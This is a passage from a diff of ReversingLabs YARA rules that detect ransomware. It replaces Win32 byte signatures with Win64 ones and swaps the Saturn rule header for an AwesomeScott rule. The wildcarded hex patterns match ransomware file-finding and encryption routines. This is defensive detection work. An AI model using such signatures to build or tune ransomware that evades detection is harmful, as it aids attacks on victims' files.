-            ?? E8 ?? ?? ?? ?? 8B 55 ?? 89 42 ?? 8B 42 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 55 ?? 89 42
-            ?? 89 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 55 ??
-            8B 42 ?? 89 04 24 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 8D ??
-            ?? ?? ?? 89 4C 24 ?? 89 85 ?? ?? ?? ?? 89 44 24 ?? 8B 55 ?? 8B 42 ?? 89 04 24 E8 ??
-            ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 4C 24 ?? 89 8D ?? ?? ?? ?? 89 4C 24 ?? 8B 85 ?? ?? ??
-            ?? 89 44 24 ?? 8B 55 ?? 8B 42 ?? 89 04 24 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 44 24
-            ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 89 5C 24 ?? 8B 8D ??
-            ?? ?? ?? 89 4C 24 ?? 89 85 ?? ?? ?? ?? 89 44 24 ?? 8B 55 ?? 8B 42 ?? 89 04 24 E8 ??
-            ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 44 24 ?? 8D 45 ?? 89 04 24 E8
+            48 63 53 ?? 48 89 B5 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 45 33
+            C0 48 8D 4D ?? E8 ?? ?? ?? ?? 90 48 8D 55 ?? 48 83 BD ?? ?? ?? ?? ?? 48 0F 43 55 ??
+            4C 63 43 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 89 4B ?? 48 85 C9 0F 84
+            ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 3B CA 77 ?? 48 89 8D ?? ?? ?? ?? 48 8D 45 ?? 48
+            83 BD ?? ?? ?? ?? ?? 48 0F 43 45 ?? C6 04 01 ?? EB ?? 48 8B F1 48 2B F2 4C 8B 85 ??
+            ?? ?? ?? 49 8B C0 48 2B C2 48 3B F0 77 ?? 48 89 8D ?? ?? ?? ?? 48 8D 7D ?? 49 83 F8
+            ?? 48 0F 43 7D ?? 48 03 FA 4C 8B C6 33 D2 48 8B CF E8 ?? ?? ?? ?? C6 04 37 ?? EB ??
+            0F AE E8 C6 44 24 ?? ?? 4C 8B CE 48 8B D6 48 8D 4D ?? E8 ?? ?? ?? ?? 33 F6 8B 43 ??
+            99 41 F7 FD B9 ?? ?? ?? ?? 85 C0 0F 45 C8 89 4B ?? 83 F9 ?? 0F 8C ?? ?? ?? ?? 4C 63
+            C9 4C 8D 45 ?? 48 8D 54 24 ?? E8 ?? ?? ?? ?? 48 8B F8 48 3B D8 74 ?? 48 8B 0B 48 85
         }
 		$encrypt_files_p2 = {
-            8B 55 ?? 8D 45 ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? 8D 4A ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D
-            55 ?? 83 EC ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24
-            ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ??
-            ?? 8B 40 ?? 8B 80 ?? ?? ?? ?? 85 C0 89 85 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ??
-            ?? ?? 80 78 ?? ?? 74 ?? 0F BE 40 ?? 89 04 24 B9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 83 EC ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ??
-            8B 45 ?? 85 C0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 5D
-            ?? C9 C3 90 8B 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
-            8B 00 8B 50 ?? B8 ?? ?? ?? ?? 81 FA ?? ?? ?? ?? 74 ?? C7 04 24 ?? ?? ?? ?? 8B 8D ??
-            ?? ?? ?? FF D2 83 EC ?? 0F BE C0 E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C5 ?? 8B 45 ?? 89
-            85 ?? ?? ?? ?? 8B 45 ?? 85 C0 74 ?? 83 E8 ?? 74 ?? 83 E8 ?? 74 ?? 83 E8 ?? 74 ?? 83
-            E8 ?? 74 ?? 0F 0B 8B 45 ?? 8D 55 ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 85
-            C0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 3B 85 ?? ?? ?? ?? 74 ?? 89 04 24
-            E8 ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 39 85 ?? ?? ?? ?? 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B
-            85 ?? ?? ?? ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? 39 D0
-            75 ?? EB
+            C9 74 ?? 48 8B 53 ?? E8 ?? ?? ?? ?? 48 8B 0B 48 8B 53 ?? 48 2B D1 48 83 E2 ?? 48 81
+            FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 4C 8B 41 ?? 49 2B C8 48 8D 41 ?? 48 83 F8 ?? 0F 87
+            ?? ?? ?? ?? 49 8B C8 E8 ?? ?? ?? ?? 48 89 33 48 89 73 ?? 48 89 73 ?? 48 8B 07 48 89
+            03 48 8B 47 ?? 48 89 43 ?? 48 8B 47 ?? 48 89 43 ?? 48 89 37 48 89 77 ?? 48 89 77 ??
+            48 8B 4C 24 ?? 48 85 C9 74 ?? 48 8B 54 24 ?? E8 ?? ?? ?? ?? 48 8B 54 24 ?? 48 8B 4C
+            24 ?? 48 2B D1 48 83 E2 ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49
+            ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 74 24 ??
+            0F 57 C0 F3 0F 7F 44 24 ?? EB ?? 48 8B 0B 48 8D 45 ?? 48 3B C8 74 ?? 48 8D 55 ?? 48
+            83 BD ?? ?? ?? ?? ?? 48 0F 43 55 ?? 4C 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B CB E8
+            ?? ?? ?? ?? 45 33 C0 48 8D 15 ?? ?? ?? ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 83 7B ?? ?? 74
+            ?? 33 FF 0F 1F 40 ?? 66 0F 1F 84 00 ?? ?? 00 00 4C 8B 03 4C 03 C7 49 8B D0 49 83 78
+            ?? ?? 72 ?? 49 8B 10 4D 8B 40 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 48 63 CE 48 C1 E1 ?? 48
         }
-		$find_files_p1 = {
-            55 89 E5 81 EC ?? ?? ?? ?? 8D 55 ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? 89 55 ?? 8D 55 ?? 89 65 ?? 89 14 24 E8 ?? ?? ?? ?? 8B 45 ??
-            8B 4D ?? 83 C0 ?? 8B 51 ?? 89 45 ?? 8D 45 ?? 89 45 ?? 8B 45 ?? 89 55 ?? 8B 00 89 C1
-            89 45 ?? 01 D1 74 ?? 85 C0 75 ?? C7 04 24 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B 45 ?? 83 F8 ?? 89 45 ?? 0F 87 ?? ?? ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 8B
-            45 ?? 8D 55 ?? 0F B6 00 88 45 ?? B8 ?? ?? ?? ?? 89 45 ?? C6 04 02 ?? B8 ?? ?? ?? ??
-            2B 45 ?? 83 F8 ?? 0F 86 ?? ?? ?? ?? 8D 4D ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ??
-            ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 EC ?? 89 44 24 ?? 8B 45 ?? 89
-            04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 83 EC ?? 89 81 ?? ?? ??
-            ?? 8D 4D ?? 39 CA 74 ?? 89 14 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B 80 ?? ?? ?? ?? 83 F8
+		$encrypt_files_p3 = {
+            03 0B 45 33 C0 48 8D 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 0B 48 03 CF 48 C7 41 ?? ??
+            ?? ?? ?? 48 83 79 ?? ?? 72 ?? 48 8B 09 C6 01 ?? FF C6 48 83 C7 ?? 3B 73 ?? 75 ?? 48
+            8D 55 ?? 48 83 BD ?? ?? ?? ?? ?? 48 0F 43 55 ?? 4C 8B 85 ?? ?? ?? ?? 48 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 90 48 8B 95 ?? ?? ?? ?? 48 83 FA ?? 72 ?? 48 FF C2 48 8B 4D ??
+            48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48
+            83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 63 48 ?? 33 F6 F6 44 0C
+            ?? ?? 75 ?? E9 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 83 FA ?? 72 ?? 48 FF C2 48 8B 4D
+            ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ??
+            48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 3D ?? ?? ?? ?? 48 8D 4C 24 ?? E8
+            ?? ?? ?? ?? BB ?? ?? ?? ?? 48 85 C0 75 ?? 48 8B 44 24 ?? 48 63 48 ?? 48 8D 44 24 ??
+            48 03 C8 41 8B D4 48 83 79 ?? ?? 0F 45 D3 0B 51 ?? 45 33 C0 E8 ?? ?? ?? ?? 48 8D 8D
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 C0 75 ?? 48 8B 85 ?? ?? ?? ?? 48 63 48 ?? 48 8D 85
+            ?? ?? ?? ?? 48 03 C8 48 83 79 ?? ?? 44 0F 45 E3 44 0B 61 ?? 45 33 C0 41 8B D4 E8 ??
+            ?? ?? ?? 90 48 8B 85 ?? ?? ?? ?? 48 63 48 ?? 48 89 BC 0D ?? ?? ?? ?? 48 8B 85 ?? ??
+            ?? ?? 48 63 48 ?? 8D 91 ?? ?? ?? ?? 89 94 0D ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 63 48 ?? 48 8D 05 ?? ?? ?? ?? 48 89 84 0D ?? ?? ??
+            ?? 48 8B 85 ?? ?? ?? ?? 48 63 48 ?? 8D 51 ?? 89 94 0D ?? ?? ?? ?? 48 8D 1D ?? ?? ??
+            ?? 48 89 9D ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B 44 24 ?? 48 63
         }
-		$find_files_p2 = {
-            8B 45 ?? 0F 95 00 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? C9 C2 ?? ?? 8D 76 ?? 8D 45 ?? 8B
-            4D ?? 89 4C 24 ?? 8B 4D ?? 89 04 24 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? E9
-            ?? ?? ?? ?? 8D 45 ?? 8D 4D ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 C7 45 ?? ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8B 55 ?? 83 EC ?? 89 45 ?? 89 55 ?? EB ?? C7 04 24 ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C5 ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 85 C0 74 ?? 83 E8
-            ?? 74 ?? 0F 0B 8B 45 ?? 8D 55 ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04
-            24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 66 90 55 89 E5 57 56 8D 45 ?? 53 83 EC ??
-            89 45 ?? 8D 45 ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? 89 65 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 5D ?? C6 45 ?? ?? 8B 83 ?? ?? ??
-            ?? 83 F8 ?? 74 ?? 8D 53 ?? 89 04 24 89 54 24 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ??
-            83 EC ?? 85 C0 0F 95 45 ?? 0F B6 45 ?? 8B 75 ?? 88 06 8B 45 ?? 89 04 24 E8 ?? ?? ??
-            ?? 0F B6 45 ?? 8D 65 ?? 5B 5E 5F 5D C3
+		$encrypt_files_p4 = {
+            48 ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 0C ?? 48 8B 44 24 ?? 48 63 48 ?? 8D 91 ?? ?? ??
+            ?? 89 54 0C ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 63 48 ?? 48 8D 05 ??
+            ?? ?? ?? 48 89 44 0C ?? 48 8B 44 24 ?? 48 63 48 ?? 8D 51 ?? 89 54 0C ?? 48 89 5D ??
+            48 8D 4D ?? E8 ?? ?? ?? ?? 90 49 8B 57 ?? 48 83 FA ?? 72 ?? 49 8B 0F 48 FF C2 48 81
+            FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 4C 8B 41 ?? 49 2B C8 48 8D 41 ?? 48 83 F8 ?? 0F 87
+            ?? ?? ?? ?? 49 8B C8 E8 ?? ?? ?? ?? 49 89 77 ?? 49 C7 47 ?? ?? ?? ?? ?? 41 C6 07 ??
+            49 8B 56 ?? 48 83 FA ?? 72 ?? 48 FF C2 49 8B 0E 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2
+            ?? 4C 8B 41 ?? 49 2B C8 48 8D 41 ?? 48 83 F8 ?? 77 ?? 49 8B C8 E8 ?? ?? ?? ?? 49 89
+            76 ?? 49 C7 46 ?? ?? ?? ?? ?? 41 C6 06 ?? 48 8B 8D ?? ?? ?? ?? 48 33 CC E8 ?? ?? ??
+            ?? 48 8B 9C 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 41 5F 41 5E 41 5D 41 5C 5F 5E 5D C3
+            E8
         }
-		$enum_resources_p1 = {
-            55 B8 ?? ?? ?? ?? 89 E5 E8 ?? ?? ?? ?? 29 C4 8D 45 ?? 89 8D ?? ?? ?? ?? 89 A5 ?? ??
-            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 44 24 ?? 8B 45
-            ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ??
-            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 74 ?? C7 85 ?? ?? ?? ??
-            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C9 C2 ?? ??
-            8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 44
-            24 ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 85 C0 75 ?? 8D 85 ?? ?? ??
-            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 75 ?? EB
-            ?? 8D B4 26 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? F6 40 ?? ?? 0F 85 ?? ?? ?? ?? 83 85 ?? ??
-            ?? ?? ?? 83 85 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 85 ?? ?? ?? ?? 0F 83
+		$encrypt_files_p5 = {
+            48 8B C4 48 89 58 ?? 48 89 70 ?? 48 89 78 ?? 4C 89 40 ?? 55 41 54 41 55 41 56 41 57
+            48 8D 68 ?? 48 81 EC ?? ?? ?? ?? 45 8B E1 49 8B D8 44 8B 4D ?? 48 8B FA 44 8B 45 ??
+            48 8B F1 41 8B D4 48 8D 4D ?? E8 ?? ?? ?? ?? 0F 10 00 F2 0F 10 48 ?? 0F 11 45 ?? 66
+            0F 73 D8 ?? 66 49 0F 7E C7 F2 0F 11 4D ?? 49 C1 EF ?? F2 0F 11 4D ?? 4C 89 7D ?? 41
+            83 FF ?? 75 ?? E8 ?? ?? ?? ?? 33 F6 89 30 83 0F ?? E8 ?? ?? ?? ?? 8B 00 E9 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 89 07 83 F8 ?? 75 ?? E8 ?? ?? ?? ?? 33 F6 89 30 83 0F ?? E8 ?? ??
+            ?? ?? C7 00 ?? ?? ?? ?? EB ?? 8B 4D ?? 4C 8D 4D ?? 4C 8B 75 ?? 41 8B C4 48 8B 55 ??
+            45 8B C7 C1 E8 ?? 49 C1 EE ?? F7 D0 44 0B 75 ?? 83 E0 ?? C7 06 ?? ?? ?? ?? 33 F6 48
+            89 74 24 ?? 44 89 74 24 ?? 89 4C 24 ?? 48 8B CB 48 C1 EA ?? C7 45 ?? ?? ?? ?? ?? 48
+            89 75 ?? 89 45 ?? 4C 89 75 ?? FF 15 ?? ?? ?? ?? 8B 5D ?? B9 ?? ?? ?? ?? 4C 8B E8 48
+            83 F8 ?? 75 ?? 8B C3 23 C1 3B C1 75 ?? 41 F6 C4 ?? 74 ?? 8B 4D ?? 4C 8D 4D ?? 48 89
+            74 24 ?? 0F BA F3 ?? 89 5D ?? 45 8B C7 48 8B 55 ?? 44 89 74 24 ?? 89 4C 24 ?? 48 8B
         }
-		$enum_resources_p2 = {
-            8B 85 ?? ?? ?? ?? F6 40 ?? ?? 74 ?? 8B 40 ?? 89 C2 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ??
-            ?? 85 D2 89 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? 74 ?? 89 14 24 E8 ?? ?? ?? ?? 03 85 ?? ??
-            ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 8B 48 ?? 3B 48 ?? 0F 84 ?? ?? ??
-            ?? 85 C9 74 ?? 8D 41 ?? 8B 95 ?? ?? ?? ?? 89 01 8B 85 ?? ?? ?? ?? 01 C2 89 04 24 89
-            54 24 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 8B
-            48 ?? 8B 85 ?? ?? ?? ?? 83 C1 ?? 89 48 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 39 C8
-            0F 84 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? F6 40 ?? ?? 0F 84 ?? ??
-            ?? ?? 89 04 24 8B 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC
-            ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 0C 24 89 44 24 ?? 8B 8D ?? ?? ?? ?? C7 85 ??
-            ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? EB
+		$encrypt_files_p6 = {
+            4D ?? 48 C1 EA ?? FF 15 ?? ?? ?? ?? 4C 8B E8 48 83 F8 ?? 75 ?? 48 63 0F 4C 8D 3D ??
+            ?? ?? ?? 48 8B C1 83 E1 ?? 48 C1 F8 ?? 48 8D 0C C9 49 8B 04 C7 80 64 C8 ?? ?? FF 15
+            ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 49 8B CD FF 15 ?? ?? ?? ?? 85 C0 75
+            ?? FF 15 ?? ?? ?? ?? 8B C8 8B D8 E8 ?? ?? ?? ?? 48 63 17 4C 8D 3D ?? ?? ?? ?? 48 8B
+            CA 83 E2 ?? 48 C1 F9 ?? 48 8D 14 D2 49 8B 0C CF 80 64 D1 ?? ?? 49 8B CD FF 15 ?? ??
+            ?? ?? 85 DB 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? E9 ?? ?? ?? ?? 44 8A
+            75 ?? 83 F8 ?? 75 ?? 41 80 CE ?? EB ?? 83 F8 ?? 75 ?? 41 80 CE ?? 8B 0F 49 8B D5 E8
+            ?? ?? ?? ?? 48 63 0F 4C 8D 3D ?? ?? ?? ?? 48 8B C1 41 80 CE ?? 48 C1 F8 ?? 83 E1 ??
+            44 88 75 ?? 49 8B 04 C7 48 8D 0C C9 44 88 74 C8 ?? 48 63 0F 48 8B C1 83 E1 ?? 48 C1
+            F8 ?? 48 8D 0C C9 49 8B 04 C7 40 88 74 C8 ?? 41 F6 C4 ?? 74 ?? 8B 0F E8 ?? ?? ?? ??
+            89 45 ?? 85 C0 74 ?? 8B 0F E8 ?? ?? ?? ?? 8B 45 ?? E9 ?? ?? ?? ?? 0F 10 45 ?? 4C 8D
+            4D ?? 8B 0F F2 0F 10 4D ?? 48 8D 55 ?? 45 8B C4 0F 29 45 ?? 40 88 75 ?? F2 0F 11 4D
+            ?? E8 ?? ?? ?? ?? 48 63 0F 89 45 ?? 85 C0 75 ?? 48 8B C1 48 C1 F9 ?? 83 E0 ?? 49 8B
+        }
+		$encrypt_files_p7 = {
+            0C CF 48 8D 14 C0 8A 45 ?? 88 44 D1 ?? 48 63 0F 48 8B C1 83 E1 ?? 48 C1 F8 ?? 48 8D
+            14 C9 49 8B 0C C7 41 8B C4 C1 E8 ?? 24 ?? 80 64 D1 ?? ?? 08 44 D1 ?? 41 F6 C6 ?? 75
+            ?? 41 F6 C4 ?? 74 ?? 48 63 0F 48 8B C1 83 E1 ?? 48 C1 F8 ?? 48 8D 0C C9 49 8B 04 C7
+            80 4C C8 ?? ?? B9 ?? ?? ?? ?? 8B C3 23 C1 3B C1 0F 85 ?? ?? ?? ?? 41 F6 C4 ?? 0F 84
+            ?? ?? ?? ?? 49 8B CD FF 15 ?? ?? ?? ?? 48 8B 4D ?? 4C 8D 4D ?? 44 8B 45 ?? 0F BA F3
+            ?? 48 89 74 24 ?? 89 4C 24 ?? 8B 4D ?? 89 4C 24 ?? 48 8B 4D ?? 89 5D ?? 48 8B 55 ??
+            48 C1 EA ?? FF 15 ?? ?? ?? ?? 48 8B D0 48 83 F8 ?? 75 ?? FF 15 ?? ?? ?? ?? 8B C8 E8
+            ?? ?? ?? ?? 48 63 0F 48 8B C1 83 E1 ?? 48 C1 F8 ?? 48 8D 0C C9 49 8B 04 C7 80 64 C8
+            ?? ?? 8B 0F E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 63 0F 48 8B C1 48 C1 F8 ?? 83 E1 ?? 49
+            8B 04 C7 48 8D 0C C9 48 89 54 C8 ?? 33 C0 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B
+            73 ?? 49 8B 7B ?? 49 8B E3 41 5F 41 5E 41 5D 41 5C 5D C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($enum_resources_p*)) and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Saturn : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win64_Ransomware_Awesomescott : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Saturn ransomware."
+		description = "Yara rule that detects AwesomeScott ransomware."
 		author = "ReversingLabs"
-		id = "70a8d937-aee5-54d8-9409-c5d2d0830a2b"
-		date = "2020-10-19"
-		modified = "2020-10-19"
+		id = "36d3b801-dbdb-585a-ac80-1827a6749c87"
+		date = "2020-09-16"
+		modified = "2020-09-16"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Saturn.yara#L1-L105"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "efa748346ad8c46e654542d302e81d633a2d12f421636c477431a12a34636132"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win64.Ransomware.AwesomeScott.yara#L1-L101"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "ed8096a4abbd015f79f4ec7239cd4070194ad70fa03da6714e499a41f9fb9423"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -31657,99 +33414,104 @@ rule REVERSINGLABS_Win32_Ransomware_Saturn : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Saturn"
+		tc_detection_name = "AwesomeScott"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files_1 = {
-            6A ?? C6 45 ?? ?? 8D 4D ?? 8B 3B 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? 3B C8 74 ??
-            83 78 ?? ?? 8B C8 72 ?? 8B 08 FF 70 ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ??
-            ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6
-            85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ??
-            C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45
-            ?? ?? 8D 4D ?? 6A ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45
-            ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 6A ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
-            C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 6A
-        }
-		$find_files_2_p1 = {
-            68 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ??
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? FF B5
-            ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 8D 4D ?? 83 7D ?? ?? 8B 55 ?? 0F 43 4D ?? 50 51 E8
-            ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8D 85 ?? ?? ?? ?? FF 75
-            ?? 0F 43 85 ?? ?? ?? ?? 8D 4D ?? 83 7D ?? ?? 8B 55 ?? 0F 43 4D ?? 50 51 E8 ?? ?? ??
-            ?? 83 C4 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? FF 75 ?? 0F 43 45 ?? 8D
-            4D ?? 83 7D ?? ?? 8B 55 ?? 0F 43 4D ?? 50 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 85
-            ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? FF 75 ?? 0F 43 45 ?? 8D 4D ?? 83 7D ?? ?? 8B 55 ??
-            0F 43 4D ?? 50 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 51 8D 85 ?? ??
